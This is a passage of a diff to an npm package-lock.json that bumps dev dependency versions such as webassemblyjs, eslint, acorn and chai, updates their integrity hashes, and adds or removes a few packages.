"@webassemblyjs/ast": "1.7.8", + "@webassemblyjs/helper-buffer": "1.7.8", + "@webassemblyjs/wasm-gen": "1.7.8", + "@webassemblyjs/wasm-parser": "1.7.8" } }, "@webassemblyjs/wasm-parser": { - "version": "1.5.13", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.5.13.tgz", - "integrity": "sha512-XnYoIcu2iqq8/LrtmdnN3T+bRjqYFjRHqWbqK3osD/0r/Fcv4d9ecRzjVtC29ENEuNTK4mQ9yyxCBCbK8S/cpg==", + "version": "1.7.8", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.7.8.tgz", + "integrity": "sha512-rZ/zlhp9DHR/05zh1MbAjT2t624sjrPP/OkJCjXqzm7ynH+nIdNcn9Ixc+qzPMFXhIrk0rBoQ3to6sEIvHh9jQ==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.5.13", - "@webassemblyjs/helper-api-error": "1.5.13", - "@webassemblyjs/helper-wasm-bytecode": "1.5.13", - "@webassemblyjs/ieee754": "1.5.13", - "@webassemblyjs/leb128": "1.5.13", - "@webassemblyjs/utf8": "1.5.13" + "@webassemblyjs/ast": "1.7.8", + "@webassemblyjs/helper-api-error": "1.7.8", + "@webassemblyjs/helper-wasm-bytecode": "1.7.8", + "@webassemblyjs/ieee754": "1.7.8", + "@webassemblyjs/leb128": "1.7.8", + "@webassemblyjs/utf8": "1.7.8" } }, "@webassemblyjs/wast-parser": { - "version": "1.5.13", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-parser/-/wast-parser-1.5.13.tgz", - "integrity": "sha512-Lbz65T0LQ1LgzKiUytl34CwuhMNhaCLgrh0JW4rJBN6INnBB8NMwUfQM+FxTnLY9qJ+lHJL/gCM5xYhB9oWi4A==", + "version": "1.7.8", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-parser/-/wast-parser-1.7.8.tgz", + "integrity": "sha512-Q/zrvtUvzWuSiJMcSp90fi6gp2nraiHXjTV2VgAluVdVapM4gy1MQn7akja2p6eSBDQpKJPJ6P4TxRkghRS5dg==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.5.13", - "@webassemblyjs/floating-point-hex-parser": "1.5.13", - "@webassemblyjs/helper-api-error": "1.5.13", - "@webassemblyjs/helper-code-frame": "1.5.13", - "@webassemblyjs/helper-fsm": "1.5.13", - "long": "3.2.0", - "mamacro": "0.0.3" + "@webassemblyjs/ast": "1.7.8", + "@webassemblyjs/floating-point-hex-parser": "1.7.8", + "@webassemblyjs/helper-api-error": "1.7.8", + "@webassemblyjs/helper-code-frame": "1.7.8", + "@webassemblyjs/helper-fsm": "1.7.8", + "@xtuc/long": "4.2.1" } }, "@webassemblyjs/wast-printer": { - "version": "1.5.13", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.5.13.tgz", - "integrity": "sha512-QcwogrdqcBh8Z+eUF8SG+ag5iwQSXxQJELBEHmLkk790wgQgnIMmntT2sMAMw53GiFNckArf5X0bsCA44j3lWQ==", + "version": "1.7.8", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.7.8.tgz", + "integrity": "sha512-GllIthRtwTxRDAURRNXscu7Napzmdf1jt1gpiZiK/QN4fH0lSGs3OTmvdfsMNP7tqI4B3ZtfaaWRlNIQug6Xyg==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.5.13", - "@webassemblyjs/wast-parser": "1.5.13", - "long": "3.2.0" + "@webassemblyjs/ast": "1.7.8", + "@webassemblyjs/wast-parser": "1.7.8", + "@xtuc/long": "4.2.1" } }, + "@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", + "dev": true + }, + "@xtuc/long": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.1.tgz", + "integrity": "sha512-FZdkNBDqBRHKQ2MEbSC17xnPFOhZxeJ2YGSfr2BKf3sujG49Qe3bB+rGCwQfIaA7WHnGeGkSijX4FuBCdrzW/g==", + "dev": true + }, "abbrev": { "version": "1.0.9", "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.0.9.tgz", @@ -483,9 +424,9 @@ } }, "acorn": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.1.tgz", - "integrity": "sha512-d+nbxBUGKg7Arpsvbnlq61mc12ek3EY8EQldM3GPAhWJ1UVxC6TDGbIvUMNU6obBX3i1+ptCIzV4vq0gFPEGVQ==", + "version": "5.7.3", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.3.tgz", + "integrity": "sha512-T/zvzYRfbVojPWahDsE5evJdHb3oJoQfFbsrKM7w5Zcs++Tr257tia3BmMP8XYVjp1S9RZXQMh7gao96BlqZOw==", "dev": true }, "acorn-dynamic-import": { @@ -494,7 +435,7 @@ "integrity": "sha512-zVWV8Z8lislJoOKKqdNMOB+s6+XV5WERty8MnKBeFgwA+19XJjJHs2RP5dzM57FftIs+jQnRToLiWazKr6sSWg==", "dev": true, "requires": { - "acorn": "5.7.1" + "acorn": "5.7.3" } }, "acorn-jsx": { @@ -503,7 +444,7 @@ "integrity": "sha512-JY+iV6r+cO21KtntVvFkD+iqjtdpRUpGqKWgfkCdZq1R+kbreEl8EcdcJR4SmiIgsIQT33s6QzheQ9a275Q8xw==", "dev": true, "requires": { - "acorn": "5.7.1" + "acorn": "5.7.3" } }, "after": { @@ -567,6 +508,12 @@ "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=", "dev": true }, + "ansi-colors": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-3.1.0.tgz", + "integrity": "sha512-hTv1qPdi+sVEk3jYsdjox5nQI0C9HTbjKShbCdYLKb1LOfNbb7wsF4d7OEKIZoxIHx02tSp3m94jcPW2EfMjmA==", + "dev": true + }, "ansi-escapes": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.1.0.tgz", @@ -630,7 +577,7 @@ "arr-flatten": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", - "integrity": "sha1-NgSLv/TntH4TZkQxbJlmnqWukfE=", + "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", "dev": true }, "arr-union": { @@ -700,11 +647,6 @@ "integrity": "sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0=", "dev": true }, - "asap": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", - "integrity": "sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=" - }, "asn1": { "version": "0.2.3", "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.3.tgz", @@ -828,7 +770,7 @@ "commander": "2.15.1", "convert-source-map": "1.5.1", "fs-readdir-recursive": "1.1.0", - "glob": "7.1.2", + "glob": "7.1.3", "lodash": "4.17.10", "output-file-sync": "1.1.2", "path-is-absolute": "1.0.1", @@ -2356,7 +2298,7 @@ }, "browserify-aes": { "version": "1.2.0", - "resolved": "https://registry.npmjs.org/browserify-aes/-/browserify-aes-1.2.0.tgz", + "resolved": "http://registry.npmjs.org/browserify-aes/-/browserify-aes-1.2.0.tgz", "integrity": "sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==", "dev": true, "requires": { @@ -2401,7 +2343,7 @@ }, "browserify-rsa": { "version": "4.0.1", - "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.0.1.tgz", + "resolved": "http://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.0.1.tgz", "integrity": "sha1-IeCr+vbyApzy+vsTNWenAdQTVSQ=", "dev": true, "requires": { @@ -2445,7 +2387,7 @@ }, "buffer": { "version": "4.9.1", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.1.tgz", + "resolved": "http://registry.npmjs.org/buffer/-/buffer-4.9.1.tgz", "integrity": "sha1-bRu2AbB6TvztlwlBMgkwJ8lbwpg=", "dev": true, "requires": { @@ -2521,8 +2463,8 @@ "dev": true, "requires": { "bluebird": "3.5.1", - "chownr": "1.0.1", - "glob": "7.1.2", + "chownr": "1.1.1", + "glob": "7.1.3", "graceful-fs": "4.1.11", "lru-cache": "4.1.3", "mississippi": "2.0.0", @@ -2531,7 +2473,7 @@ "promise-inflight": "1.0.1", "rimraf": "2.6.2", "ssri": "5.3.0", - "unique-filename": "1.1.0", + "unique-filename": "1.1.1", "y18n": "4.0.0" }, "dependencies": { @@ -2648,9 +2590,9 @@ } }, "chai": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chai/-/chai-4.1.2.tgz", - "integrity": "sha1-D2RYS6ZC8PKs4oBiefTwbKI61zw=", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/chai/-/chai-4.2.0.tgz", + "integrity": "sha512-XQU3bhBukrOsQCuwZndwGcCVQHyZi53fQ6Ys1Fym7E4olpIqqZZhhoFJoaKVvV17lWQoXYwgWN2nF5crA8J2jw==", "dev": true, "requires": { "assertion-error": "1.1.0", @@ -2675,9 +2617,9 @@ } }, "chardet": { - "version": "0.4.2", - "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.4.2.tgz", - "integrity": "sha1-tUc7M9yXxCTl2Y3IfVXU2KKci/I=", + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz", + "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==", "dev": true }, "check-error": { @@ -2705,9 +2647,9 @@ } }, "chownr": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.0.1.tgz", - "integrity": "sha1-4qdQQqlVGQi+vSW4Uj1fl2nXkYE=", + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.1.tgz", + "integrity": "sha512-j38EvO5+LHX84jlo6h4UzmOwi0UgW61WRyPtJz4qaadK5eY3BTS5TY/S1Stc3Uk2lIM6TPevAlULiEJwie860g==", "dev": true }, "chrome-trace-event": { @@ -2905,18 +2847,18 @@ "dev": true }, "compressible": { - "version": "2.0.14", - "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.14.tgz", - "integrity": "sha1-MmxfUH+7BV9UEWeCuWmoG2einac=", + "version": "2.0.15", + "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.15.tgz", + "integrity": "sha512-4aE67DL33dSW9gw4CI2H/yTxqHLNcxp0yS6jB+4h+wr3e43+1z7vm0HU9qXOH8j+qjKuL8+UtkOxYQSMq60Ylw==", "dev": true, "requires": { - "mime-db": "1.35.0" + "mime-db": "1.36.0" }, "dependencies": { "mime-db": { - "version": "1.35.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.35.0.tgz", - "integrity": "sha512-JWT/IcCTsB0Io3AhWUMjRqucrHSPsSf2xKLaRldJVULioggvkJvggZ3VXNNSRkCddE6D+BUI4HEIZIA2OjwIvg==", + "version": "1.36.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.36.0.tgz", + "integrity": "sha512-L+xvyD9MkoYMXb1jAmzI/lWYAxAMCPvIBSWur0PZ5nOf5euahRLVqH//FKW9mWp2lkqUgYiXPgkzfMUFi4zVDw==", "dev": true } } @@ -2929,7 +2871,7 @@ "requires": { "accepts": "1.3.5", "bytes": "3.0.0", - "compressible": "2.0.14", + "compressible": "2.0.15", "debug": "2.6.9", "on-headers": "1.0.1", "safe-buffer": "5.1.2", @@ -2979,7 +2921,7 @@ "readable-stream": { "version": "2.3.3", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.3.tgz", - "integrity": "sha1-No8lEtefnUb9/HE0mueHi7weuVw=", + "integrity": "sha512-m+qzzcn7KUxEmd1gMbchF+Y2eIUbieUaxkWtptyHywrX0rE8QEYqPC07Vuy4Wm32/xE16NcdBctb8S0Xe/5IeQ==", "dev": true, "requires": { "core-util-is": "1.0.2", @@ -2994,7 +2936,7 @@ "string_decoder": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", + "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -3099,18 +3041,18 @@ "copy-to-clipboard": { "version": "3.0.8", "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.0.8.tgz", - "integrity": "sha1-9OgvSogw3ORma3643tDJvMMTq6k=", + "integrity": "sha512-c3GdeY8qxCHGezVb1EFQfHYK/8NZRemgcTIzPq7PuxjHAf/raKibn2QdhHPb/y6q74PMgH6yizaDZlRmw6QyKw==", "requires": { "toggle-selection": "1.0.6" } }, "copyfiles": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/copyfiles/-/copyfiles-2.0.0.tgz", - "integrity": "sha512-NSSJdwCH27/hEiBlhkXYWh3AaPo8IATxLX5XtJQgknOvOehrREtETsGd/BNr2vuj0URgKBC/50PNRM3yShQGJQ==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/copyfiles/-/copyfiles-2.1.0.tgz", + "integrity": "sha512-cAeDE0vL/koE9WSEGxqPpSyvU638Kgfu6wfrnj7kqp9FWa1CWsU54Coo6sdYZP4GstWa39tL/wIVJWfXcujgNA==", "dev": true, "requires": { - "glob": "7.1.2", + "glob": "7.1.3", "minimatch": "3.0.4", "mkdirp": "0.5.1", "noms": "0.0.0", @@ -3155,7 +3097,7 @@ }, "yargs": { "version": "11.1.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz", + "resolved": "http://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz", "integrity": "sha512-NwW69J42EsCSanF8kyn5upxvjp5ds+t3+udGBeTbFnERA+lF541DDpMawzo4z6W/QrzNM18D+BPMiOBibnFV5A==", "dev": true, "requires": { @@ -3198,20 +3140,20 @@ }, "create-hash": { "version": "1.2.0", - "resolved": "https://registry.npmjs.org/create-hash/-/create-hash-1.2.0.tgz", + "resolved": "http://registry.npmjs.org/create-hash/-/create-hash-1.2.0.tgz", "integrity": "sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==", "dev": true, "requires": { "cipher-base": "1.0.4", "inherits": "2.0.3", - "md5.js": "1.3.4", + "md5.js": "1.3.5", "ripemd160": "2.0.2", "sha.js": "2.4.11" } }, "create-hmac": { "version": "1.1.7", - "resolved": "https://registry.npmjs.org/create-hmac/-/create-hmac-1.1.7.tgz", + "resolved": "http://registry.npmjs.org/create-hmac/-/create-hmac-1.1.7.tgz", "integrity": "sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==", "dev": true, "requires": { @@ -3267,8 +3209,8 @@ "create-hmac": "1.1.7", "diffie-hellman": "5.0.3", "inherits": "2.0.3", - "pbkdf2": "3.0.16", - "public-encrypt": "4.0.2", + "pbkdf2": "3.0.17", + "public-encrypt": "4.0.3", "randombytes": "2.0.6", "randomfill": "1.0.4" } @@ -3468,6 +3410,52 @@ "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=", "dev": true }, + "default-gateway": { + "version": "2.7.2", + "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-2.7.2.tgz", + "integrity": "sha512-lAc4i9QJR0YHSDFdzeBQKfZ1SRDG3hsJNEkrpcZa8QhBfidLAilT60BDEIVUUGqosFp425KOgB3uYqcnQrWafQ==", + "dev": true, + "requires": { + "execa": "0.10.0", + "ip-regex": "2.1.0" + }, + "dependencies": { + "cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "dev": true, + "requires": { + "nice-try": "1.0.5", + "path-key": "2.0.1", + "semver": "5.5.1", + "shebang-command": "1.2.0", + "which": "1.3.0" + } + }, + "execa": { + "version": "0.10.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-0.10.0.tgz", + "integrity": "sha512-7XOMnz8Ynx1gGo/3hyV9loYNPWM94jG3+3T3Y8tsfSstFmETmENCMU/A/zj8Lyaj1lkgEepKepvd6240tBRvlw==", + "dev": true, + "requires": { + "cross-spawn": "6.0.5", + "get-stream": "3.0.0", + "is-stream": "1.1.0", + "npm-run-path": "2.0.2", + "p-finally": "1.0.0", + "signal-exit": "3.0.2", + "strip-eof": "1.0.0" + } + }, + "semver": { + "version": "5.5.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.1.tgz", + "integrity": "sha512-PqpAxfrEhlSUWge8dwIp4tZnQ25DIOthpiaHNIthsjEFQD6EvqUKUDM7L8O2rShkFccYo1VjJR0coWfNkCubRw==", + "dev": true + } + } + }, "define-properties": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz", @@ -3583,9 +3571,9 @@ } }, "detect-node": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.0.3.tgz", - "integrity": "sha1-ogM8CcyOFY03dI+951B4Mr1s4Sc=", + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.0.4.tgz", + "integrity": "sha512-ZIzRpLJrOj7jjP2miAtgqIfmzbxa4ZOr5jJc601zklsfEx9oTzmmj2nVpIPRpNlRTIh8lc1kyViIY7BWSGNmKw==", "dev": true }, "di": { @@ -3602,7 +3590,7 @@ }, "diffie-hellman": { "version": "5.0.3", - "resolved": "https://registry.npmjs.org/diffie-hellman/-/diffie-hellman-5.0.3.tgz", + "resolved": "http://registry.npmjs.org/diffie-hellman/-/diffie-hellman-5.0.3.tgz", "integrity": "sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg==", "dev": true, "requires": { @@ -3765,7 +3753,7 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { @@ -4090,16 +4078,16 @@ } }, "eslint": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-5.3.0.tgz", - "integrity": "sha512-N/tCqlMKkyNvAvLu+zI9AqDasnSLt00K+Hu8kdsERliC9jYEc8ck12XtjvOXrBKu8fK6RrBcN9bat6Xk++9jAg==", + "version": "5.6.1", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-5.6.1.tgz", + "integrity": "sha512-hgrDtGWz368b7Wqf+v1Z69O3ZebNR0+GA7PtDdbmuz4rInFVUV9uw7whjZEiWyLzCjVb5Rs5WRN1TAS6eo7AYA==", "dev": true, "requires": { - "ajv": "6.5.2", - "babel-code-frame": "6.26.0", + "@babel/code-frame": "7.0.0", + "ajv": "6.5.4", "chalk": "2.4.1", "cross-spawn": "6.0.5", - "debug": "3.1.0", + "debug": "4.1.0", "doctrine": "2.1.0", "eslint-scope": "4.0.0", "eslint-utils": "1.3.1", @@ -4109,11 +4097,11 @@ "esutils": "2.0.2", "file-entry-cache": "2.0.0", "functional-red-black-tree": "1.0.1", - "glob": "7.1.2", - "globals": "11.7.0", + "glob": "7.1.3", + "globals": "11.8.0", "ignore": "4.0.6", "imurmurhash": "0.1.4", - "inquirer": "5.2.0", + "inquirer": "6.2.0", "is-resolvable": "1.1.0", "js-yaml": "3.12.0", "json-stable-stringify-without-jsonify": "1.0.1", @@ -4126,49 +4114,60 @@ "path-is-inside": "1.0.2", "pluralize": "7.0.0", "progress": "2.0.0", - "regexpp": "2.0.0", + "regexpp": "2.0.1", "require-uncached": "1.0.3", - "semver": "5.5.0", - "string.prototype.matchall": "2.0.0", + "semver": "5.5.1", "strip-ansi": "4.0.0", "strip-json-comments": "2.0.1", "table": "4.0.3", "text-table": "0.2.0" }, "dependencies": { - "babel-code-frame": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-code-frame/-/babel-code-frame-6.26.0.tgz", - "integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=", + "@babel/code-frame": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.0.0.tgz", + "integrity": "sha512-OfC2uemaknXr87bdLUkWog7nYuliM9Ij5HUcajsVcMCpQrcLmtxRbVFTIqmcSkSeYRBFBRxs2FiUqFJDLdiebA==", "dev": true, "requires": { - "chalk": "1.1.3", + "@babel/highlight": "7.0.0" + } + }, + "@babel/highlight": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.0.0.tgz", + "integrity": "sha512-UFMC4ZeFC48Tpvj7C8UgLvtkaUuovQX+5xNWrsIoMG8o2z+XFKjKaN9iVmS84dPwVN00W4wPmqvYoZF3EGAsfw==", + "dev": true, + "requires": { + "chalk": "2.4.1", "esutils": "2.0.2", - "js-tokens": "3.0.2" - }, - "dependencies": { - "chalk": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", - "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", - "dev": true, - "requires": { - "ansi-styles": "2.2.1", - "escape-string-regexp": "1.0.5", - "has-ansi": "2.0.0", - "strip-ansi": "3.0.1", - "supports-color": "2.0.0" - } - }, - "strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "dev": true, - "requires": { - "ansi-regex": "2.1.1" - } - } + "js-tokens": "4.0.0" + } + }, + "ajv": { + "version": "6.5.4", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.5.4.tgz", + "integrity": "sha512-4Wyjt8+t6YszqaXnLDfMmG/8AlO5Zbcsy3ATHncCzjW/NoPzAId8AK6749Ybjmdt+kUY1gP60fCu46oDxPv/mg==", + "dev": true, + "requires": { + "fast-deep-equal": "2.0.1", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.4.1", + "uri-js": "4.2.2" + } + }, + "ansi-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "dev": true + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "1.9.0" } }, "chalk": { @@ -4179,27 +4178,7 @@ "requires": { "ansi-styles": "3.2.1", "escape-string-regexp": "1.0.5", - "supports-color": "5.4.0" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "1.9.0" - } - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "3.0.0" - } - } + "supports-color": "5.5.0" } }, "cross-spawn": { @@ -4208,20 +4187,20 @@ "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", "dev": true, "requires": { - "nice-try": "1.0.4", + "nice-try": "1.0.5", "path-key": "2.0.1", - "semver": "5.5.0", + "semver": "5.5.1", "shebang-command": "1.2.0", "which": "1.3.0" } }, "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.0.tgz", + "integrity": "sha512-heNPJUJIqC+xB6ayLAMHaIrmN9HKa7aQO8MGqKpvCA+uJYVcvR6l5kgdrhRuwPFHU7P5/A1w0BjByPHwpfTDKg==", "dev": true, "requires": { - "ms": "2.0.0" + "ms": "2.1.1" } }, "eslint-scope": { @@ -4240,10 +4219,16 @@ "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", "dev": true }, + "fast-deep-equal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", + "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", + "dev": true + }, "globals": { - "version": "11.7.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-11.7.0.tgz", - "integrity": "sha512-K8BNSPySfeShBQXsahYB/AbbWruVOTyVpgoIDnl8odPpeSfP2J5QO2oLFFdl2j7GfDCtZj2bMKar2T49itTPCg==", + "version": "11.8.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.8.0.tgz", + "integrity": "sha512-io6LkyPVuzCHBSQV9fmOwxZkUk6nIaGmxheLDgmuFv89j0fm2aqDbIXKAGfzCMHqz3HLF2Zf8WSG6VqMh2qFmA==", "dev": true }, "has-flag": { @@ -4252,6 +4237,12 @@ "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", "dev": true }, + "js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "dev": true + }, "js-yaml": { "version": "3.12.0", "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.12.0.tgz", @@ -4262,10 +4253,16 @@ "esprima": "4.0.1" } }, - "lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "ms": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", + "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==", "dev": true }, "progress": { @@ -4275,9 +4272,9 @@ "dev": true }, "semver": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.0.tgz", - "integrity": "sha512-4SJ3dm0WAwWy/NVeioZh5AntkdJoWKxHxcmyP622fOkgHa4z3R0TdBJICINyaSDE6uNwVc8gZr+ZinwZAH4xIA==", + "version": "5.5.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.1.tgz", + "integrity": "sha512-PqpAxfrEhlSUWge8dwIp4tZnQ25DIOthpiaHNIthsjEFQD6EvqUKUDM7L8O2rShkFccYo1VjJR0coWfNkCubRw==", "dev": true }, "strip-ansi": { @@ -4287,22 +4284,23 @@ "dev": true, "requires": { "ansi-regex": "3.0.0" - }, - 